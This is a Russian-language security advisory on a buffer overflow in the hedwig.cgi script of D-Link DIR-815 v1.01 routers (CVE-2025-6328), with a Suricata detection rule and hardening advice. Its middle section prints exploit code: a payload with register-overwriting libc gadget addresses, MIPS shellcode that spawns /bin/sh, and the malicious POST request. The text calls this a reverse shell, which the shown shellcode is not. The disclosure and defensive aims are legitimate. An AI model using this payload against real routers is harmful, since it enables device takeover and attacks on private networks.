Уязвимость функции sub_403794() сценария hedwig.cgi микропрограммного обеспечения маршрутизаторов D-Link DIR-815
Уязвимость функции sub_403794() сценария hedwig.cgi микропрограммного обеспечения маршрутизаторов D-Link DIR-815
Категория: Программы Теги: Уязвимости Опубликовано: 1 июля 2025

Уязвимость BDU:2025-07584 (CVE-2025-6328) D-Link DIR-815

Уязвимость BDU:2025-07584 (CVE-2025-6328) переполнения буфера в функции sub_403794() CGI-скрипта hedwig.cgi в маршрутизаторах D-Link DIR-815 v1.01. Позволяет удалённому злоумышленнику выполнить произвольный код или вызвать отказ в обслуживании (DoS).

Анализ уязвимости

Уровень опасности: 7.4 HIGH (CVSS-BT)
Вектор атаки: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

  • AV:N (Attack Vector: Network) – Атака выполняется удалённо через сеть.

  • AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации.

  • AT:N (Attack Requirements: None) – Не требует дополнительных условий.

  • PR:L (Privileges Required: Low) – Требуется доступ к сети управления (не админский).

  • UI:N (User Interaction: None) – Вовлечение пользователя не нужно.

  • VC:H/VI:H/VA:H (Confidentiality/Integrity/Availability Impact: High) – Полное нарушение конфиденциальности, целостности и доступности.

  • SC:N/SI:N/SA:N (Subsequent Systems Impact: None) – Не затрагивает смежные системы.

  • E:P (Exploit Maturity: Proof-of-Concept) – Доступен рабочий эксплоит.


Условия эксплуатации:

  1. Локальный доступ к сети: Злоумышленник должен находиться во внутренней сети маршрутизатора.

  2. Версия прошивки: Только DIR-815 v1.01 (уязвимый бинарный файл hedwig.cgi).

  3. Открытый веб-интерфейс: Порт 80/TCP или 443/TCP должен быть доступен.


Технический анализ эксплоита

Механизм уязвимости:

Уязвимость возникает при обработке параметра uid в HTTP-куках POST-запроса к hedwig.cgi. Функция sub_403794() некорректно проверяет длину входных данных, что приводит к переполнению стека. Это позволяет перезаписать:

  • Указатель возврата ($ra).

  • Регистры $s1$s3$s4 (управляют потоком выполнения).

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.

Разбор кода эксплоита:

payload = b"uid=" + b"a"*0x3cd  # Заполнение буфера
payload += b"a"*(4+0x18+12-2)   # Выравнивание до регистров

# Перехват потока выполнения:
payload += p32(libc_base + 0x436D0)  # $s1: адрес инструкции move $t9, $s3
payload += b"abcd"               # Padding
payload += p32(libc_base + 0x56BD0)  # $s3: адрес функции sleep()
payload += cyclic(20)            # Заполнение
payload += p32(libc_base + 0x57E50)  # $ra: переход к shellcode

# Шелл-код (MIPS):
shellcode = asm('''
    slti $a2, $zero, -1
    li $t7, 0x69622f2f  # "//bin/sh"
    sw $t7, -12($sp)
    li $t6, 0x68732f6e  # "n/sh"
    sw $t6, -8($sp)
    sw $zero, -4($sp)
    la $a0, -12($sp)    # Аргумент для execve
    slti $a1, $zero, -1
    li $v0, 4011        # Системный вызов execve
    syscall 0x40404
''')
payload += shellcode

Этапы атаки:

  1. Инициализация: Эмуляция MIPS через QEMU с отладкой на порту 1234.

  2. Формирование запроса:

    • Cookie: uid=[Мусор + Адреса в памяти + Шелл-код].

    • Тело POST: Thir0th=Pwner (триггер уязвимости).

  3. Хищение потока:

    • Перезапись $s1$s3$ra перенаправляет выполнение на шелл-код.

  4. Выполнение кода:

    • Шелл-код запускает /bin/sh, открывая обратную оболочку.

Вредоносный HTTP-запрос:

POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1
Cookie: uid=aaaaaaaa...<эксплоит>...
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

Thir0th=Pwner

Возможные последствия эксплуатации

  1. Полный контроль над устройством:

    • Чтение/изменение конфигурации (пароли, правила firewall).

    • Перенастройка DNS (фишинг или блокировка ресурсов).

  2. Атаки на внутреннюю сеть:

    • ARP-спуфинг, сниффинг трафика.

    • Атаки на другие устройства в локальной сети.

  3. Устойчивый доступ:

    • Установка бэкдоров в прошивку.

  4. Криптоджекинг:

    • Использование ресурсов устройства для майнинга.

  5. Отказ в обслуживании (DoS):

    • Блокировка интернет-доступа через перезагрузку роутера.


Способы защиты

1. Обновление прошивки

  • Официальный патч от D-Link (если выпущен - на момент публикации отсутствовал).

  • Проверка актуальности: Настройки > Система > Обновление ПО.

2. Сетевые ограничения

  • Сегментация сети: Выделение роутера в отдельный VLAN.

3. Правила для Suricata/IPS

Детектирование по аномальной длине uid в куках:

alert http any any -> $HOME_NET any (  
  msg: "CVE-2025-6328: D-Link DIR-815 Buffer Overflow";  
  flow: to_server, established;  
  content: "/hedwig.cgi"; http_uri;  
  content: "POST"; http_method;  
  content: "uid="; http_cookie;  
  pcre: "/uid=[^;]{500,}/";  # uid длиннее 500 байт  
  classtype: attempted-admin;  
  sid: 20256328;  
  rev: 1;  
)

4. Hardening веб-интерфейса

  • Смена порта HTTP/HTTPS на нестандартный.

  • Ограничение доступа к панели управления по IP-адресу.

5. Замена оборудования

  • Использование роутеров с поддержкой регулярных обновлений.


Заключение

Уязвимость критична из-за простоты эксплуатации и полного компромисса устройства. Для защиты необходимо сочетание:

  • Сетевой сегментации.

  • IPS-правил на L3-устройствах.

  • Отключения неиспользуемых сервисов.
    Владельцам DIR-815 v1.01 рекомендуется замена оборудования или строгая изоляция устройства.

Алексей Черемных Алексей Черемных
32